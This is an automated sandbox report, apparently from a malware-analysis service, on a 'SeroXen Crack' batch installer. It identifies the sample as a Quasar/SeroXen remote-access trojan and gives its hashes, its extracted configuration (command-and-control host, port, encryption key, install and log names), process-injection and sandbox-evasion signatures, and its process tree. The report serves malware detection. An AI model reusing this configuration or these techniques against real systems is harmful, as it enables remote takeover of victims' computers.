Analysis
- max time kernel
150s - max time network
112s - platform
windows10-2004_x64 - resource
win10v2004-20250410-en - resource tags
arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system - submitted
13/04/2025, 10:29
Static task
static1
Behavioral task
behavioral1
Sample
SeroXen Crack/SeroXen-install.bat
Resource
win10v2004-20250410-en
General
- Target SeroXen Crack/SeroXen-install.bat
- Size 12.6MB
- Sample250413-mjjarstycw
- SHA256 78b0a14a882dec287c0dc5a294ad02a4a5aaa0d130839d49f282c7d61069471f
- MD5 898f49c739026123b6a3811fa31abe70
- SHA1 31ff6036b40d70d21cb1c4c0163cba0d4c720551
- SHA512 a9aa2bf15db84361f315156ee6386cac49c14c2449a72e2f50b2e0b8d100781019c246c03a38a37d5dfc71a7c1c5451457faba074d1a875cab615ecb8d3e453d
- SSDEEP 49152:sW7ldCjqzV0qZpSjVbHDGYxqXTQPJee/X5nerh1gnfFijx6ygGSPlPNEIKlfuK1u:i
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
quasar
-
1.0.0.0
-
v2.2.5 | SeroXen
-
kimsoylak.ddns.net:4782
-
2cc9d61f-950d-4f23-b7d5-45d9dda2f256
-
encryption_key
F467D794B2E1081B6AD1EAD5813AFA74F053248D
-
install_name
.exe
-
log_directory
$sxr-Logs
-
reconnect_delay
1
Signatures
- Quasar family
- Quasar payload 1 IoCs
resource yara_rule behavioral1/memory/2152-64-0x00000240C6600000-0x00000240C6DCA000-memory.dmp family_quasar - Seroxen family
- Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
description pid Process procid_target PID 1968 created 5428 1968 WerFault.exe 117 PID 5636 created 4932 5636 WerFault.exe 121 - Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
description pid Process procid_target PID 4908 created 628 4908 SeroXen-install.bat.exe 5 PID 2152 created 628 2152 $sxr-powershell.exe 5 PID 2152 created 628 2152 $sxr-powershell.exe 5 PID 4908 created 628 4908 SeroXen-install.bat.exe 5 PID 2152 created 628 2152 $sxr-powershell.exe 5 PID 2152 created 628 2152 $sxr-powershell.exe 5 PID 5060 created 5428 5060 svchost.exe 117 PID 2152 created 628 2152 $sxr-powershell.exe 5 PID 5060 created 4932 5060 svchost.exe 121 PID 5060 created 5100 5060 svchost.exe 123 PID 2152 created 628 2152 $sxr-powershell.exe 5 PID 2152 created 628 2152 $sxr-powershell.exe 5 - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Control Panel\International\Geo\Nation SeroXen-install.bat.exe - Deletes itself 1 IoCs
pid Process 4908 SeroXen-install.bat.exe - Executes dropped EXE 5 IoCs
pid Process 4908 SeroXen-install.bat.exe 4592 $sxr-mshta.exe 1612 $sxr-cmd.exe 2152 $sxr-powershell.exe 564 $sxr-powershell.exe - Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 2152 $sxr-powershell.exe 564 $sxr-powershell.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe - Suspicious use of SetThreadContext 18 IoCs
description pid Process procid_target PID 4908 set thread context of 2268 4908 SeroXen-install.bat.exe 98 PID 4908 set thread context of 2508 4908 SeroXen-install.bat.exe 99 PID 2152 set thread context of 3692 2152 $sxr-powershell.exe 104 PID 2152 set thread context of 4440 2152 $sxr-powershell.exe 105 PID 2152 set thread context of 1932 2152 $sxr-powershell.exe 107 PID 2152 set thread context of 3052 2152 $sxr-powershell.exe 108 PID 4908 set thread context of 6052 4908 SeroXen-install.bat.exe 112 PID 4908 set thread context of 5568 4908 SeroXen-install.bat.exe 113 PID 2152 set thread context of 5868 2152 $sxr-powershell.exe 114 PID 2152 set thread context of 3532 2152 $sxr-powershell.exe 115 PID 2152 set thread context of 2408 2152 $sxr-powershell.exe 116 PID 2152 set thread context of 5428 2152 $sxr-powershell.exe 117 PID 2152 set thread context of 4932 2152 $sxr-powershell.exe 121 PID 2152 set thread context of 3748 2152 $sxr-powershell.exe 128 PID 2152 set thread context of 4636 2152 $sxr-powershell.exe 127 PID 2152 set thread context of 3724 2152 $sxr-powershell.exe 129 PID 2152 set thread context of 884 2152 $sxr-powershell.exe 130 PID 2152 set thread context of 5916 2152 $sxr-powershell.exe 131 - Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\$sxr-mshta.exe SeroXen-install.bat.exe File created C:\Windows\$sxr-cmd.exe SeroXen-install.bat.exe File opened for modification C:\Windows\$sxr-cmd.exe SeroXen-install.bat.exe File created C:\Windows\$sxr-powershell.exe SeroXen-install.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe SeroXen-install.bat.exe File created C:\Windows\$sxr-mshta.exe SeroXen-install.bat.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
pid pid_target Process procid_target 3996 5428 WerFault.exe 117 - System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WerFault.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WerFault.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 5976 cmd.exe 4780 PING.EXE - Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe - Kills process with taskkill 1 IoCs
pid Process 1084 taskkill.exe - Modifies data under HKEY_USERS 16 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={83207585-B09E-4622-A495-649A962A2937}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 13 Apr 2025 10:31:25 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\Windows Error Reporting svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1744540284" OfficeClickToRun.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\Windows Error Reporting\LastCrashSelfReportTime = "133890138335302632" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe - Modifies registry class 7 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory RuntimeBroker.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe Key created \REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed RuntimeBroker.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 4780 PING.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4908 SeroXen-install.bat.exe 4908 SeroXen-install.bat.exe 4908 SeroXen-install.bat.exe 2268 dllhost.exe 2268 dllhost.exe 2268 dllhost.exe 2268 dllhost.exe 2508 dllhost.exe 2508 dllhost.exe 2508 dllhost.exe 2508 dllhost.exe 4908 SeroXen-install.bat.exe 4908 SeroXen-install.bat.exe 2152 $sxr-powershell.exe 2152 $sxr-powershell.exe 2152 $sxr-powershell.exe 2152 $sxr-powershell.exe 4440 dllhost.exe 4440 dllhost.exe 4440 dllhost.exe 4440 dllhost.exe 3692 dllhost.exe 3692 dllhost.exe 3692 dllhost.exe 3692 dllhost.exe 2152 $sxr-powershell.exe 2152 $sxr-powershell.exe 564 $sxr-powershell.exe 564 $sxr-powershell.exe 564 $sxr-powershell.exe 564 $sxr-powershell.exe 2152 $sxr-powershell.exe 1932 dllhost.exe 1932 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 1932 dllhost.exe 1932 dllhost.exe 1932 dllhost.exe 1932 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 1932 dllhost.exe 1932 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 1932 dllhost.exe 1932 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 1932 dllhost.exe 1932 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 1932 dllhost.exe 1932 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 1932 dllhost.exe 1932 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3520 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4908 SeroXen-install.bat.exe Token: SeDebugPrivilege 4908 SeroXen-install.bat.exe Token: SeDebugPrivilege 2268 dllhost.exe Token: SeDebugPrivilege 2508 dllhost.exe Token: SeDebugPrivilege 2152 $sxr-powershell.exe Token: SeDebugPrivilege 2152 $sxr-powershell.exe Token: SeDebugPrivilege 4440 dllhost.exe Token: SeDebugPrivilege 3692 dllhost.exe Token: SeDebugPrivilege 564 $sxr-powershell.exe Token: SeDebugPrivilege 2152 $sxr-powershell.exe Token: SeDebugPrivilege 1932 dllhost.exe Token: SeDebugPrivilege 3052 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 1984 svchost.exe Token: SeIncreaseQuotaPrivilege 1984 svchost.exe Token: SeSecurityPrivilege 1984 svchost.exe Token: SeTakeOwnershipPrivilege 1984 svchost.exe Token: SeLoadDriverPrivilege 1984 svchost.exe Token: SeSystemtimePrivilege 1984 svchost.exe Token: SeBackupPrivilege 1984 svchost.exe Token: SeRestorePrivilege 1984 svchost.exe Token: SeShutdownPrivilege 1984 svchost.exe Token: SeSystemEnvironmentPrivilege 1984 svchost.exe Token: SeUndockPrivilege 1984 svchost.exe Token: SeManageVolumePrivilege 1984 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1984 svchost.exe Token: SeIncreaseQuotaPrivilege 1984 svchost.exe Token: SeSecurityPrivilege 1984 svchost.exe Token: SeTakeOwnershipPrivilege 1984 svchost.exe Token: SeLoadDriverPrivilege 1984 svchost.exe Token: SeSystemtimePrivilege 1984 svchost.exe Token: SeBackupPrivilege 1984 svchost.exe Token: SeRestorePrivilege 1984 svchost.exe Token: SeShutdownPrivilege 1984 svchost.exe Token: SeSystemEnvironmentPrivilege 1984 svchost.exe Token: SeUndockPrivilege 1984 svchost.exe Token: SeManageVolumePrivilege 1984 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1984 svchost.exe Token: SeIncreaseQuotaPrivilege 1984 svchost.exe Token: SeSecurityPrivilege 1984 svchost.exe Token: SeTakeOwnershipPrivilege 1984 svchost.exe Token: SeLoadDriverPrivilege 1984 svchost.exe Token: SeSystemtimePrivilege 1984 svchost.exe Token: SeBackupPrivilege 1984 svchost.exe Token: SeRestorePrivilege 1984 svchost.exe Token: SeShutdownPrivilege 1984 svchost.exe Token: SeSystemEnvironmentPrivilege 1984 svchost.exe Token: SeUndockPrivilege 1984 svchost.exe Token: SeManageVolumePrivilege 1984 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1984 svchost.exe Token: SeIncreaseQuotaPrivilege 1984 svchost.exe Token: SeSecurityPrivilege 1984 svchost.exe Token: SeTakeOwnershipPrivilege 1984 svchost.exe Token: SeLoadDriverPrivilege 1984 svchost.exe Token: SeSystemtimePrivilege 1984 svchost.exe Token: SeBackupPrivilege 1984 svchost.exe Token: SeRestorePrivilege 1984 svchost.exe Token: SeShutdownPrivilege 1984 svchost.exe Token: SeSystemEnvironmentPrivilege 1984 svchost.exe Token: SeUndockPrivilege 1984 svchost.exe Token: SeManageVolumePrivilege 1984 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1984 svchost.exe Token: SeIncreaseQuotaPrivilege 1984 svchost.exe Token: SeSecurityPrivilege 1984 svchost.exe Token: SeTakeOwnershipPrivilege 1984 svchost.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2152 $sxr-powershell.exe 5156 Conhost.exe - Suspicious use of UnmapMainImage 1 IoCs
pid Process 3520 Explorer.EXE - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2184 wrote to memory of 4908 2184 cmd.exe 96 PID 2184 wrote to memory of 4908 2184 cmd.exe 96 PID 4908 wrote to memory of 2268 4908 SeroXen-install.bat.exe 98 PID 4908 wrote to memory of 2268 4908 SeroXen-install.bat.exe 98 PID 4908 wrote to memory of 2268 4908 SeroXen-install.bat.exe 98 PID 4908 wrote to memory of 2268 4908 SeroXen-install.bat.exe 98 PID 4908 wrote to memory of 2268 4908 SeroXen-install.bat.exe 98 PID 4908 wrote to memory of 2268 4908 SeroXen-install.bat.exe 98 PID 4908 wrote to memory of 2268 4908 SeroXen-install.bat.exe 98 PID 4908 wrote to memory of 2508 4908 SeroXen-install.bat.exe 99 PID 4908 wrote to memory of 2508 4908 SeroXen-install.bat.exe 99 PID 4908 wrote to memory of 2508 4908 SeroXen-install.bat.exe 99 PID 4908 wrote to memory of 2508 4908 SeroXen-install.bat.exe 99 PID 4908 wrote to memory of 2508 4908 SeroXen-install.bat.exe 99 PID 4908 wrote to memory of 2508 4908 SeroXen-install.bat.exe 99 PID 4908 wrote to memory of 2508 4908 SeroXen-install.bat.exe 99 PID 4908 wrote to memory of 2508 4908 SeroXen-install.bat.exe 99 PID 4908 wrote to memory of 2508 4908 SeroXen-install.bat.exe 99 PID 4592 wrote to memory of 1612 4592 $sxr-mshta.exe 101 PID 4592 wrote to memory of 1612 4592 $sxr-mshta.exe 101 PID 1612 wrote to memory of 2152 1612 $sxr-cmd.exe 103 PID 1612 wrote to memory of 2152 1612 $sxr-cmd.exe 103 PID 2152 wrote to memory of 3692 2152 $sxr-powershell.exe 104 PID 2152 wrote to memory of 3692 2152 $sxr-powershell.exe 104 PID 2152 wrote to memory of 3692 2152 $sxr-powershell.exe 104 PID 2152 wrote to memory of 3692 2152 $sxr-powershell.exe 104 PID 2152 wrote to memory of 3692 2152 $sxr-powershell.exe 104 PID 2152 wrote to memory of 3692 2152 $sxr-powershell.exe 104 PID 2152 wrote to memory of 3692 2152 $sxr-powershell.exe 104 PID 2152 wrote to memory of 4440 2152 $sxr-powershell.exe 105 PID 2152 wrote to memory of 4440 2152 $sxr-powershell.exe 105 PID 2152 wrote to memory of 4440 2152 $sxr-powershell.exe 105 PID 2152 wrote to memory of 4440 2152 $sxr-powershell.exe 105 PID 2152 wrote to memory of 4440 2152 $sxr-powershell.exe 105 PID 2152 wrote to memory of 4440 2152 $sxr-powershell.exe 105 PID 2152 wrote to memory of 4440 2152 $sxr-powershell.exe 105 PID 2152 wrote to memory of 4440 2152 $sxr-powershell.exe 105 PID 2152 wrote to memory of 4440 2152 $sxr-powershell.exe 105 PID 2152 wrote to memory of 564 2152 $sxr-powershell.exe 106 PID 2152 wrote to memory of 564 2152 $sxr-powershell.exe 106 PID 2152 wrote to memory of 1932 2152 $sxr-powershell.exe 107 PID 2152 wrote to memory of 1932 2152 $sxr-powershell.exe 107 PID 2152 wrote to memory of 1932 2152 $sxr-powershell.exe 107 PID 2152 wrote to memory of 1932 2152 $sxr-powershell.exe 107 PID 2152 wrote to memory of 1932 2152 $sxr-powershell.exe 107 PID 2152 wrote to memory of 1932 2152 $sxr-powershell.exe 107 PID 2152 wrote to memory of 1932 2152 $sxr-powershell.exe 107 PID 2152 wrote to memory of 1932 2152 $sxr-powershell.exe 107 PID 2152 wrote to memory of 1932 2152 $sxr-powershell.exe 107 PID 2152 wrote to memory of 3052 2152 $sxr-powershell.exe 108 PID 2152 wrote to memory of 3052 2152 $sxr-powershell.exe 108 PID 2152 wrote to memory of 3052 2152 $sxr-powershell.exe 108 PID 2152 wrote to memory of 3052 2152 $sxr-powershell.exe 108 PID 2152 wrote to memory of 3052 2152 $sxr-powershell.exe 108 PID 2152 wrote to memory of 3052 2152 $sxr-powershell.exe 108 PID 2152 wrote to memory of 3052 2152 $sxr-powershell.exe 108 PID 2152 wrote to memory of 3052 2152 $sxr-powershell.exe 108 PID 2152 wrote to memory of 3052 2152 $sxr-powershell.exe 108 PID 2152 wrote to memory of 3052 2152 $sxr-powershell.exe 108 PID 1932 wrote to memory of 628 1932 dllhost.exe 5 PID 1932 wrote to memory of 696 1932 dllhost.exe 7 PID 1932 wrote to memory of 964 1932 dllhost.exe 12 PID 1932 wrote to memory of 316 1932 dllhost.exe 13 PID 1932 wrote to memory of 752 1932 dllhost.exe 14 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3872 attrib.exe
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:628
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:316
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{79b14c97-9755-4d7f-b06b-d4f35b921747}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2268
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{99cc363a-29d9-43f6-895d-504aec6dd009}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3692
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{590a381b-c1b9-444d-ab68-4f6909d29df1}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1932
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{1ce3ed9b-9c84-466a-8518-bcf8efdfe257}2⤵PID:6052
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{07634c5c-46a1-4b47-9f18-bdcde76df76d}2⤵PID:5868
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{0694da1e-ef1d-4022-95fc-06a8e3aa63ef}2⤵PID:2408
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{280364fa-6782-4b65-a79a-55e723d7dbed}2⤵PID:4932
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4932 -s 2563⤵PID:5100
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5100 -s 4924⤵PID:1140
-
-
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{106e86cc-bf26-4691-beb4-7b661fef9860}2⤵PID:3748
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{dbe693d3-a252-4b96-981b-0eb17b02f8e9}2⤵PID:884
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:696
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:964
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:752
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:64
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1088
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1104
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1120
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2900
-
-
